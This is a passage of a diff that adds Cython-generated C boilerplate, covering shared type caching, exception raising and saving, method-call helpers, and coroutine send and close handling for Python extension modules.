basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + if (__Pyx_CoroutineAwait_CheckExact(yf)) { + retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + retval = __Pyx_async_gen_asend_close(yf, NULL); + } else + if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { + retval = __Pyx_async_gen_athrow_close(yf, NULL); + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStrNoError(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (unlikely(PyErr_Occurred())) { + PyErr_WriteUnraisable(yf); + } + } else { + retval = __Pyx_PyObject_CallNoArg(meth); + Py_DECREF(meth); + if (unlikely(!retval)) + err = -1; + } + gen->is_running = 0; + } + 